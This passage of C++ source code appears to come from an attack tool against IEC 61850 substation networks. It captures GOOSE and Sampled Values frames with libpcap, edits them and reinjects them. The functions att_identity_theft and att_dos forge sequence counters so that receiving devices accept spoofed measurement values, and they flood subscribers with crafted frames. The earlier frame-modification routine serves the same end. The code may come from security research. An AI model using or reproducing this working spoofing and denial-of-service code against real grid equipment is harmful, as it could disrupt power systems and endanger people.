                if(get_int_from_payload(st["numDatSetEntries"].pointer, st["numDatSetEntries"].length) > 0)
                {
                    printf("\nSetting \"numDatSetEntries\" to 0...");
                    set_int_to_payload(0, st["numDatSetEntries"].pointer, st["numDatSetEntries"].length);
                    printf("\nSetting \"allData\" to 0...");
                    set_int_to_payload(0, st["numDatSetEntries"].pointer + st["numDatSetEntries"].length + 1, 1);

                    printf("\nCalculating new frame size...\n");
                    int byte_count;
                    byte_count = 0;
                    unsigned char id_temp;
                    id_temp = *(packet_temp);
                    while(id_temp != 0xab) // count bytes until data part identifier
                    {
                        id_temp = *(packet_temp + byte_count);
                        byte_count++;
                    }
                    packet_length_new = byte_count;

                    // set new length to GOOSE length field
                    set_int_to_payload(packet_length_new - 18, st["length"].pointer, st["length"].length); // 18 -> eth = 14B, vlan = 4B
                    offset = true;
                }
                else
                {
                    printf("\nError - captured frame does not have any data to remove!\n");
                }
                break;
            default:
                break;
        }
        
        // create temporary copy packet data
        u_char* packet_temp_temp = new u_char[packet_header.len];
        memcpy(packet_temp_temp, packet_temp, packet_header.len);
        
        // get up-to-date frame and copy its stNum and sqNum
        flush_buffer();
        get_single_packet("ether proto 0x88b8");
        dissect_goose(packet_temp);
        int stnum = get_int_from_payload(st["stNum"].pointer, st["stNum"].length);
        int sqnum = get_int_from_payload(st["sqNum"].pointer, st["sqNum"].length) + 1;
        
        memcpy(packet_temp, packet_temp_temp, packet_header.len);
        set_int_to_payload(stnum, st["stNum"].pointer, st["stNum"].length);
        set_int_to_payload(sqnum, st["sqNum"].pointer, st["sqNum"].length);
        
        // adjust data offset on data deletion
        if(offset == true)
        {
            // move frame data to left by one byte - starting with length byte after 0x61 identifier
            memmove(packet_temp + 14 + 4 + 8 + 1, st["goosepdu"].pointer - 1, packet_length_new);

            // set new length to moved frame data
            set_int_to_payload(packet_length_new - 18 - 10, st["reserved_2"].pointer + 3, 1); // 10 = length of goose part of frame until the 0x61 + 1 byte
        }
        
        printf("\nFrame with length of %i bytes sent.\n",
               pcap_inject(handle, packet_temp, packet_length_new));

        // free resources
        delete packet_temp_temp;
    }
    else
    {        
        dissect_sv(packet_temp);
        print_dissected_sv();
        
        printf("\nWhich value do you want to change?\n"
               "Value \"smpCnt\" will be set automatically so that subscriber will accept the frame.\n"
               "[1] APPID\n"
               "[2] Length\n"
               "[3] Remove data\n"
               "> ");
        
        input = ' ';
        do
        {
            input = getchar();
        }
        while(input != '1' && input != '2' && input != '3');
        
        if(input != '3')
        {
            printf("\nEnter new value:\n> ");
            std::getline(std::cin, value);
        }
        
        switch(input)
        {
            case '1': // appid
                if(value[1] == 'x')
                {
                    set_int_to_payload(stoi(value, NULL, 16), st["appid"].pointer, st["appid"].length);
                }
                else
                {
                    set_int_to_payload(stoi(value), st["appid"].pointer, st["appid"].length);
                }
                break;
            case '2': // length
                set_int_to_payload(stoi(value), st["length"].pointer, st["length"].length);
                break;
            case '3': // remove data
                if(get_int_from_payload(st["noasdu"].pointer, st["noasdu"].length) > 0)
                {
                    printf("\nSetting \"noASDU\" to 0...");
                    set_int_to_payload(0, st["noasdu"].pointer, st["noasdu"].length);

                    printf("\nCalculating new frame size...\n");
                    
                    // set new length to SV length field
                    set_int_to_payload(15, st["length"].pointer, st["length"].length); // 15 = size of pdu without zero padding
                    packet_length_new = 64; // minimum length of ethernet frame
                    printf("%i\n", packet_length_new);
                    offset = true;
                }
                else
                {
                    printf("\nError - captured frame does not have any data to remove!\n");
                }
                break;
            default:
                break;
        }
        
        // create temporary copy packet data
        u_char* packet_temp_temp = new u_char[packet_header.len];
        memcpy(packet_temp_temp, packet_temp, packet_header.len);
        
        // get up-to-date frame and copy its stNum and sqNum
        flush_buffer();
        get_single_packet("ether proto 0x88ba");
        dissect_sv(packet_temp);
        
        // update smpCnt counter
        if(get_int_from_payload(st["noasdu"].pointer, st["noasdu"].length) > 0)
        {
            int smpcnt = get_int_from_payload(svasdu[0]["smpCnt"].pointer, svasdu[0]["smpCnt"].length) + 1;
            
            memcpy(packet_temp, packet_temp_temp, packet_header.len);
            
            for(int i = 0; i < svasdu.size(); i++)
            {
                set_int_to_payload(smpcnt, svasdu[i]["smpCnt"].pointer, svasdu[i]["smpCnt"].length);
            }
        }
        
        // adjust data offset on data deletion
        if(offset == true)
        {
            // move frame data to left by one byte - starting with length byte after 0x61 identifier
            memmove(packet_temp + 14 + 4 + 8 + 1, st["savPdu"].pointer - 1, 15); // ethernet (14) + vlan (4) + pdu header (4) + savpdu (1), 15 = size of pdu without zero padding

            // set new length to moved frame data
            set_int_to_payload(5, st["reserved_2"].pointer + 3, 1); // 5 = length od pdu from 0x60 to end of the pdu
            
            // zero padding of the frame
            memset(st["savPdu"].pointer + 4, 0, 32);
        }
        
        // send frame
        printf("\nFrame with length of %i bytes sent.\n",
               pcap_inject(handle, packet_temp, packet_length_new));
        
        // free resources
        delete packet_temp_temp;
    }
}

void att_identity_theft(bool goose)
{
    int stnum = 0;
    int sqnum = 0;
    int smpcnt = 0;
    
    flush_buffer();
    
    printf("\nPress Q to stop.\n");
    input = ' ';
    
    while(input != 'q')
    {        
        get_single_packet("ether proto 0x88b8 or ether proto 0x88ba", true);
        
        // wait until all counters are up-to-date with current GOOSE and SV frames
        if(stnum == 0 || smpcnt == 0)
        {
            if(get_int_from_payload(packet_temp + 16, 2) == 0x88b8) // goose frame
            {
                dissect_goose(packet_temp);
                stnum = get_int_from_payload(st["stNum"].pointer, st["stNum"].length) + 1;
            }
            else if(get_int_from_payload(packet_temp + 16, 2) == 0x88ba) // sv frame
            {
                dissect_sv(packet_temp);
                if(get_int_from_payload(st["noasdu"].pointer, st["noasdu"].length) > 0)
                {
                    smpcnt = get_int_from_payload(svasdu[0]["smpCnt"].pointer, svasdu[0]["smpCnt"].length) + 1;
                }
            }
        }
        else
        {
            if(get_int_from_payload(packet_temp + 16, 2) == 0x88b8) // goose frame
            {
                dissect_goose(packet_temp);
                
                // if stNum has increased, increment stored value too
                if(get_int_from_payload(st["sqNum"].pointer, st["sqNum"].length) == 0)
                {
                    stnum += 1;
                    sqnum = 0;
                }
                
                // set stored values to captured frame
                set_int_to_payload(stnum, st["stNum"].pointer, st["stNum"].length);
                set_int_to_payload(sqnum++, st["sqNum"].pointer, st["sqNum"].length);
                
                // change float vlaues to random number from interval 50-60 just to show we hijacked the frames
                for(int i = 0; i < st_ad.size(); i++)
                {
                    float random = 50 + static_cast<float>(rand()) / (static_cast<float>(RAND_MAX/(60-50)));
                    set_float_to_payload(random, st_ad[i].offset[1].pointer + 1, st_ad[i].offset[1].length - 1);
                }
            }
            else if(get_int_from_payload(packet_temp + 16, 2) == 0x88ba) // sv frame
            {
                dissect_sv(packet_temp);
                
                // update smpCnt counter
                if(get_int_from_payload(st["noasdu"].pointer, st["noasdu"].length) > 0)
                {
                    smpcnt += 1;
                    for(int i = 0; i < svasdu.size(); i++)
                    {
                        set_int_to_payload(smpcnt, svasdu[i]["smpCnt"].pointer, svasdu[i]["smpCnt"].length);
                        
                        // change float vlaues to random number from interval 50-60 just to show we hijacked the frames
                        float random = 50 + static_cast<float>(rand()) / (static_cast<float>(RAND_MAX/(60-50)));
                        set_float_to_payload(random, svasdu[i]["seqData"].pointer + 1, 4);
                    }
                }
            }
            else
            {
                return;
            }
            
            // inject frame
            pcap_inject(handle, packet_temp, packet_header.len);
        }

        // print "working" dot each frame
        printf(".");
        fflush(stdout);
        
        // check for user interruption
        if(kbhit())
        {
            input = getchar();
        }
    }
    
    printf("\n");
}

void att_dos() // TO-DO !!! minimal frame to DOS subscriber, max frame to DOS network
{
    int size = 1500;
    
    // create empty frame of specified size
    u_char packet_max[size] = { 0 };
    
    // get up-to-date frame
    get_single_packet("ether proto 0x88b8");
    dissect_goose(packet_temp);
    
    int offset_st = 0;
    if(*(st["stNum"].pointer - 1) == 0x01)
    {
        offset_st = 2;
    } else if(*(st["stNum"].pointer - 1) == 0x02)
    {
        offset_st = 1;
    } else if(*(st["stNum"].pointer - 1) == 0x03)
    {
        offset_st = 0;
    }
    
    int offset_sq = 0;
    if(*(st["sqNum"].pointer + offset_st - 1) == 0x01)
    {
        offset_sq = 2;
    } else if(*(st["sqNum"].pointer + offset_st - 1) == 0x02)
    {
        offset_sq = 1;
    } else if(*(st["sqNum"].pointer + offset_st - 1) == 0x03)
    {
        offset_sq = 0;
    }
    
    // create 3B of space for stNum values
    memmove(st["stNum"].pointer + offset_st, st["stNum"].pointer, 30);
    set_int_to_payload(3, st["stNum"].pointer - 1, 1);
    
    // create 3B of space for sqNum values
    memmove(st["sqNum"].pointer + offset_st + offset_sq, st["sqNum"].pointer + offset_st + 1, 30);
    set_int_to_payload(3, st["sqNum"].pointer + offset_st - 1, 1);
    
    // set numDatEntries to 0
    set_int_to_payload(0, st["numDatSetEntries"].pointer + offset_st + offset_sq - 1, 1);
    
    // set allData to 0
    set_int_to_payload(0, st["numDatSetEntries"].pointer + offset_st + offset_sq + 1, 1);
    
    int length = 1;
    u_char* pointer_start = packet_temp;
    while(*(pointer_start) != 0xab)
    {
        length += 1;
        pointer_start++;
    }
    length += 1; // plus one byte after 0xab
    
    // set length of the whole frame
    set_int_to_payload(length - 14 - 4, st["length"].pointer, st["length"].length); // - ethernet - vlan
    
    // set length of the goose pdu
    set_int_to_payload(length - 14 - 4 - 10, st["reserved_2"].pointer + 3, 1); // - ethernet - vlan - goose pdu header
    
    /*for(int i = 0; i < 5; i++)
    {
        pcap_inject(handle, packet_temp, length);
    }*/
    
    // backup modified frame
    memcpy(packet_max, packet_temp, length);
        
    // get current counter values
    int stnum = get_int_from_payload(st["stNum"].pointer, st["stNum"].length) + 1;
    int sqnum = 0;
    
    pcap_setnonblock(handle, 1, error_buffer);
    
    
    // press q to quit
    while(input != 'q')
    {
        // if new frame is available, check its counter values
        if(pcap_dispatch(handle, 1, packet_handler, NULL) == 1)
        {
            dissect_goose(packet_temp);
            
            // if stNum has increased, increment stored value too
            if(get_int_from_payload(st["sqNum"].pointer, st["sqNum"].length) == 0)
            {
                stnum += 1;
                sqnum = 0;
            }
        }
    
        if(sqnum > 16777215)
        {
            stnum += 1;
            sqnum = 0;
        }
        if(stnum > 16777215)
        {
            break;
        }
        
        // copy saved frame back to main frame
        memcpy(packet_temp, packet_max, length);
        
        // set counter values
        set_int_to_payload(stnum, st["stNum"].pointer, 3);
        set_int_to_payload(sqnum++, st["sqNum"].pointer + offset_st, 3);

        // inject frame
        pcap_inject(handle, packet_temp, length);
        
        // print "working" dot
        if(stnum % 25 == 0)
        {
            printf(".");
            fflush(stdout); 
        }
        
        // check for user interruption
        if(kbhit())
        {
            input = getchar();
        }
    }
    
    pcap_setnonblock(handle, 0, error_buffer);
}


void print_hex_ascii_line(const u_char *payload, int len)
{
    int i;
    int gap;
    const u_char *ch;

    /* hex */
    ch = payload;
    for(i = 0; i < len; i++) {
            printf("%02x ", *ch);
            ch++;
            /* print extra space after 8th byte for visual aid */
            if (i == 7)
                    printf(" ");
    }
    /* print space to handle line less than 8 bytes */
    if (len < 8)
            printf(" ");

    /* fill hex gap with spaces if not full line */
    if (len < 16) {
            gap = 16 - len;
            for (i = 0; i < gap; i++) {
                    printf("   ");
            }
    }
    printf("   ");

    /* ascii (if printable) */
    ch = payload;
    for(i = 0; i < len; i++) {
            if (isprint(*ch))
                    printf("%c", *ch);
            else
                    printf(".");
            ch++;
    }

    printf("\n");

    return;
}